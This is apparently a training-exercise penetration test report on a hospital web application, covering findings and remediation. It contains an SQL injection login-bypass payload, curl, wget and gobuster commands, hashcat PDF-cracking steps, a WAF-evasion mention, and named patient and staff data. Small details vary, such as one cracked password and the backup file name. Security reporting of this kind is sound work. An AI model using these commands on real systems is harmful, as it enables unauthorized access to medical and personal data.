

Penetration Testing Report — Mediroza General Hospital Web Infrastructure Security Assessment

Prepared For: Mediroza General Hospital

Company: Networkwalks

Assessment Type: Black-Box Penetration Test

Target URL: <https://medirozahospital.com>

Assessment Dates: 2026-09-06 to 2026-09-07

Tester Name: Jenik Shrestha

Batch / Week: B082 | Week 4

Classification: CONFIDENTIAL – For Authorized Personnel Only

Report Date: 2026-09-07

Document Footer: CONFIDENTIAL – Mediroza General Hospital

Table of Contents

1. Executive Summary
2. Scope & Methodology
3. Detailed Findings
 - 3.1 Critical – SQL Injection Authentication Bypass
 - 3.2 High – Weak Default Credentials
 - 3.3 High – Exposed Database Backup (Salaries & Shareholders)
 - 3.4 High – Weak PDF Encryption
 - 3.5 Medium – Directory Listing Enabled
 - 3.6 Low – Username Enumeration
 - 3.7 Info – Staff Portal Hardened
4. Business Impact Analysis
5. Milestone Achievement Status
6. Remediation Checklist
7. Next Steps / Retesting
8. Appendix A – Step-by-Step Execution Commands
9. Attached Evidence
10. Conclusion
11. Disclaimer

1. Executive Summary

A comprehensive black-box penetration test was conducted against the Mediroza General Hospital web application (<https://medirozahospital.com>) to identify security vulnerabilities, exploit them to demonstrate real-world impact, and provide actionable remediation recommendations.

The patient portal (/patient/login.php) was successfully compromised using **two independent attack vectors**:

1. **SQL Injection Authentication Bypass** – by submitting username=admin'-- - (with any password), authentication was bypassed entirely.
2. **Weak Default Credentials** – the account admin with password password123 was discovered via brute-force attack.

Furthermore, a **historical database backup** was found exposed in the /old/ directory, leaking:

- **30 employee records** (full names, National IDs, phone numbers, and monthly salaries).
- **10 shareholder records** (names and ownership percentages).

The three (3) retrieved patient lab reports were protected with trivially weak passwords, which were cracked using hashcat:

- rep1.pdf → 123456
- rep2.pdf → password
- rep3.pdf → !@#\$%^&

All four (4) project milestones (M1, M2, M3, M4) were successfully achieved. Immediate remediation is required to address the critical vulnerabilities identified in this report.

2. Scope & Methodology

2.1 Testing Methodology

1. **Reconnaissance & Enumeration:** Directory brute-forcing (gobuster) and manual browsing to discover hidden endpoints.
2. **Authentication Testing:** Analysis of login mechanisms for weak credentials, SQL Injection (SQLi), and username enumeration.
3. **Exploitation:** Exploiting SQLi to bypass authentication and gain unauthorized access.
4. **Data Extraction:** Downloading exposed files, retrieving patient lab reports, and extracting sensitive data from the database backup.
5. **Cryptanalysis:** Decrypting password-protected PDF files using pdf2john and hashcat.
6. **Reporting:** Documentation of findings, proof of concept, and remediation recommendations.

2.2 Tools Used

Tool	Purpose
gobuster	Directory enumeration
curl	HTTP requests and WAF cookie handling
pdf2john	Extracting password hashes from PDFs
hashcat	Cracking PDF passwords
Python (custom scripts)	Automated brute-forcing and WAF bypass
Tor / proxychains	IP rotation to bypass WAF blocks

3. Detailed Findings

3.1 CRITICAL – SQL Injection Authentication Bypass (Patient Portal)

Description:

The patient portal login form is vulnerable to SQL Injection. By submitting the payload `admin'-- -` in the username field (and any arbitrary password), the SQL query is manipulated to ignore the password verification. This allows an attacker to log in as the admin user without knowing the current password.

Proof of Concept (PoC):

POST /patient/login.php HTTP/1.1

Host: medirozahospital.com

Content-Type: application/x-www-form-urlencoded

username=admin'-- -&password=x

Response:

- HTTP 302 Redirect to /patient/portal.php.
- Valid session cookie issued.
- Authenticated dashboard displays *"My lab reports"* and the three PDF download links.

Impact:

Full unauthorized access to the patient portal, allowing an attacker to view and download all patient lab reports (Protected Health Information – PHI). The password mechanism is rendered completely irrelevant.

Evidence:

See **Figure 1** – The authenticated patient dashboard showing *"My lab reports"*.

See the screenshot "M1_Access_and_PDFs/Screenshot_Dashboard.png" (attached in the submission ZIP) showing the authenticated patient dashboard.

Remediation:

- Implement **prepared statements / parameterized queries** for all SQL operations.
- Use `password_hash()` and `password_verify()` for secure password storage.
- Never concatenate user input directly into SQL queries.
- Add WAF rules to block SQLi patterns such as `'--`, `'OR`, and `UNION SELECT`.

3.2 HIGH – Weak Default Credentials (Patient Portal)

Description:

A brute-force attack against the patient portal login successfully identified the admin account using the password password123. The server responded with a valid session and redirected to the authenticated dashboard.

Proof of Concept (PoC):

```
{  
  "label": "brute",  
  "user": "admin",  
  "pw": "password123",  
  "verdict": "success",  
  "info": "url=https://medirozahospital.com/patient/dashboard.php body='Welcome to the Mediroza Patient Portal...'"  
}
```

Impact:

An attacker can gain unauthorized access using common default credentials without needing to exploit the SQL injection.

Evidence:

See **Figure 2** – mediroza(1).png (JSON output showing brute-force success).

See the screenshot "M1_Access_and_PDFs/mediroza(1).png" (attached in the submission ZIP) showing the JSON brute-force success output.

Remediation:

- Enforce strong password policies (minimum length, complexity).
- Implement account lockout after multiple failed login attempts.
- Remove default accounts or force password change on first login.

3.3 HIGH – Exposed Database Backup (Information Disclosure)

Description:

The /old/ directory has directory listing enabled, exposing a complete database backup from 2019. This file is publicly accessible without authentication and contains highly sensitive employee and financial data.

Exposed Data:

Table	Records	Sensitive Data Exposed
staff	30 employees	Full name, job title, department, email, phone, National ID, monthly salary (ZAR)
shareholders	10 shareholders	Full name, share ownership percentage (%)

Sample Salary Data:

Employee	Monthly Salary (ZAR)
Dr. Johan van der Merwe	R160,000
Sarah Botha	R152,000
Dr. Rajesh Naidoo	R138,000
Linda Fourie (Receptionist)	R19,000

Sample Shareholder Data:

Shareholder	Ownership %
Dr. Rajesh Naidoo	18.0%
Cedar Health Holdings (Pty) Ltd	15.0%
Dr. Johan van der Merwe	12.0%
Reddy Family Trust	11.0%

Impact:

- **Identity Theft:** National IDs can be used for identity fraud.
- **Financial Espionage:** Disclosure of executive salaries and shareholder distribution.
- **Phishing Attacks:** Employee emails and phone numbers can be used for social engineering.

Evidence:

full_backup.sql – The complete exposed database backup.
See **Appendix A** for the curl command used to discover the directory listing.

Remediation:

- Immediately delete the backup file from the web root.
- Disable directory listing globally (Options -Indexes in Apache/LiteSpeed).
- Store database backups outside the web root (e.g., /var/backups/).
- Rotate credentials and secrets that may have been included in the backup.

3.4 HIGH – Weak PDF Encryption (Patient Lab Reports)

Description:

The three (3) patient lab reports are protected using client-side PDF passwords. However, these passwords are trivially weak and were cracked using hashcat in minutes. Combined with the SQL Injection vulnerability (3.1), an attacker can download and decrypt these reports without any barrier.

The 3 Retrieved Patient Reports:

Patient	Report Date	Lab Reference
Sipho Dlamini	2024-11-04	LR-2024-1187
Priya Reddy	2024-11-05	LR-2024-1192
Emily Thompson	2024-11-06	LR-2024-1205

Password Cracking Results:

File	Patient Name	PDF Password	Key Clinical Finding
rep1.pdf	Sipho Dlamini	123456	White Cell Count HIGH
rep2.pdf	Priya Reddy	password	Cholesterol 6.4 mmol/L HIGH
rep3.pdf	Emily Thompson	!@#\$\$%^&	Haemoglobin 11.4 g/dL LOW

Impact:

- Breach of patient confidentiality – sensitive medical histories are exposed.
- Regulatory risk – potential violation of healthcare data protection laws (e.g., POPIA, HIPAA).

Evidence:

rep1.txt, rep2.txt, rep3.txt – Decrypted full text of all three lab reports.

See **Appendix A** for the hashcat commands used.

Remediation:

- Do not rely on client-side PDF passwords for access control.
- Implement server-side authorization checks – ensure the authenticated user is allowed to view the specific report.
- Use cryptographically strong, per-report random passwords if client-side encryption is required.
- Consider delivering reports via authenticated web sessions only, without PDF password protection.

3.5 MEDIUM – Directory Listing Enabled

Description:

Directory browsing is enabled for multiple directories, allowing attackers to easily discover hidden files and log files (e.g., /patient/error_log).

Impact:

Makes the discovery of the SQL backup (3.3) trivial and exposes potential debug/error information.

Remediation:

Disable directory listing in the web server configuration:

Options -Indexes

3.6 LOW – Username Enumeration (Patient Portal)

Description:

The patient login form returns different error messages depending on whether the username exists:

- Unknown username → "Username not found"
- Valid username + wrong password → "Incorrect password"

Impact:

An attacker can enumerate valid usernames. Testing confirmed that admin is the only active account on the patient portal.

Remediation:

Unify all login failure responses to a generic message:

```
<div class="alert">Invalid username or password.</div>
```

3.7 INFO – Staff Portal Hardened (Positive Finding)

Description:

The staff portal was tested with over 3,800 username/password combinations (including staff names, email addresses, National IDs, and common passwords). **No valid credentials were found.** SQL injection attempts were also blocked by the WAF.

Impact:

This is a strong security control and a positive finding, indicating that the staff portal is properly hardened against brute-force and SQL injection attacks.

4. Business Impact Analysis

Risk	Business Consequence
SQL Injection (Critical)	Attacker can dump the entire database. Potential fine under POPIA: up to R10 million or 10% of annual turnover. Loss of patient trust.
Exposed PII (National IDs + Salaries)	Identity theft, payroll fraud, and targeted phishing. Legal liability from affected employees.
Leaked Medical Records (PHI)	Regulatory fines, lawsuits from patients, and severe reputational damage.
Weak Credentials	Allows attackers to masquerade as hospital staff, leading to further internal compromise.
Directory Listing	Provides attackers with a map of the web application, making further attacks easier.

5. Milestone Achievement Status

Milestone	Task	Status	Evidence
M1	Find 3 confidential PDF lab reports	✓ COMPLETED	SQL Injection login bypass AND admin/password123 brute-force (see attached screenshots).
M2	Crack encryption on all 3 PDFs	✓ COMPLETED	Passwords: 123456, password, !@#\$\$%^&. Decrypted files attached.
M3	Find employee salaries and shareholder details	✓ COMPLETED	full_backup.sql exposed (30 salaries + 10 shareholders).
M4	Write detailed Penetration Testing Report	✓ COMPLETED	This document.

6. Remediation Checklist (Priority Order)

Priority	Action Item	Finding Addressed
1 (Critical)	Rewrite all SQL queries using prepared statements (PDO/MySQLi).	3.1 – SQLi
2 (Critical)	Delete /old/mediaroza_db_backup_2019.sql and disable directory listing.	3.3 & 3.5
3 (High)	Implement per-user authorization on /patient/download.php.	3.4 – PDF Access
4 (High)	Enforce strong password policy and remove weak default credentials.	3.2 – Weak Credentials
5 (High)	Rotate credentials/secrets contained in the exposed backup.	3.3 – Exposure
6 (Low)	Unify login error messages to prevent username enumeration.	3.6 – Enumeration
7 (Defense)	Update WAF rules to block SQLi patterns ('--', 'OR, UNION).	3.1 – SQLi

7. Next Steps / Retesting

1. Immediate Actions (0–24 hours):

- Delete the exposed .sql backup from the web root.
- Disable directory listing on the web server.
- Change the admin password to a complex, non-guessable value.

2. Short-Term Actions (1 week):

- Rewrite the login query using prepared statements.
- Implement proper password hashing (bcrypt).
- Add server-side access control for PDF downloads.

3. Retesting:

- A follow-up penetration test is strongly recommended **after the fixes are applied** to verify that the vulnerabilities have been successfully mitigated.

8. Appendix A – Step-by-Step Execution Commands

A.1 – Discover Exposed Directory

```
gobuster dir -u https://medirozahospital.com -w /usr/share/wordlists/dirb/common.txt
```

Result: Found /old/ with directory listing.

A.2 – Download the Exposed SQL Backup

```
wget https://medirozahospital.com/old/mediroza_db_backup_2019.sql  
mv mediroza_db_backup_2019.sql full_backup.sql
```

A.3 – SQL Injection Login (Bypass)

```
curl -c cookies.txt -A "Mozilla/5.0" https://medirozahospital.com/patient/login.php -o /dev/null  
curl -c cookies.txt -b cookies.txt -A "Mozilla/5.0" -X POST \  
--data-urlencode "username=admin'-- -" \  
--data-urlencode "password=x" \  
-L https://medirozahospital.com/patient/login.php -o /dev/null
```

A.4 – Download PDFs

```
curl -b cookies.txt -A "Mozilla/5.0" https://medirozahospital.com/patient/download.php?id=1 -o patient_report_001.pdf
```

```
curl -b cookies.txt -A "Mozilla/5.0" https://medirozahospital.com/patient/download.php?id=2 -o patient_report_002.pdf
```

```
curl -b cookies.txt -A "Mozilla/5.0" https://medirozahospital.com/patient/download.php?id=3 -o patient_report_003.pdf
```

A.5 – Crack Passwords with Hashcat

```
pdf2john patient_report_001.pdf > rep1.hash
```

```
pdf2john patient_report_002.pdf > rep2.hash
```

```
pdf2john patient_report_003.pdf > rep3.hash
```

```
hashcat -m 10500 -a 0 rep1.hash /usr/share/wordlists/rockyou.txt
```

```
hashcat -m 10500 -a 0 rep2.hash /usr/share/wordlists/rockyou.txt
```

```
hashcat -m 10500 -a 0 rep3.hash /usr/share/wordlists/rockyou.txt
```

```
hashcat -m 10500 rep1.hash --show
```

Results: 123456, password, !@#\$%^&

9. Attached Evidence

File / Figure	Description	Milestone
M1_Access_and_PDFs/Screenshot_Dashboard.png	Authenticated dashboard showing "My lab reports".	M1
M1_Access_and_PDFs/mediroza(1).png	JSON brute-force proof (admin/password123).	M1
M1_Access_and_PDFs/patient_report_001.pdf	Original encrypted PDF – Sipho Dlamini.	M1
M1_Access_and_PDFs/patient_report_002.pdf	Original encrypted PDF – Priya Reddy.	M1
M1_Access_and_PDFs/patient_report_003.pdf	Original encrypted PDF – Emily Thompson.	M1
M2_Cracked_PDFs/rep1.txt	Decrypted lab report – Sipho Dlamini.	M2
M2_Cracked_PDFs/rep2.txt	Decrypted lab report – Priya Reddy.	M2
M2_Cracked_PDFs/rep3.txt	Decrypted lab report – Emily Thompson.	M2
M3_Data_Exposure/full_backup.sql	Exposed database backup (staff + shareholders).	M3
M4_Report/Mediroza_Pentest_Report_FINAL.pdf	This document.	M4

10. Conclusion

The penetration test against Mediroza General Hospital successfully identified critical vulnerabilities in the patient portal, including a SQL Injection flaw that bypasses authentication and exposes patient health information. Additionally, weak default credentials (admin/password123) were discovered, and a legacy database backup was found exposed, leaking sensitive employee and financial data.

All four (4) project milestones were achieved, and this report provides a comprehensive remediation plan to secure the infrastructure. A retest is strongly recommended after the fixes are implemented.

11. Disclaimer

This report is intended solely for Mediroza General Hospital and authorized stakeholders. The findings are based on the specific testing window and may not cover all possible vulnerabilities. The tester assumes no liability for any actions taken based on this report.

Report Prepared By: Jenik Shrestha

Report Date: 2026-09-07

Classification: CONFIDENTIAL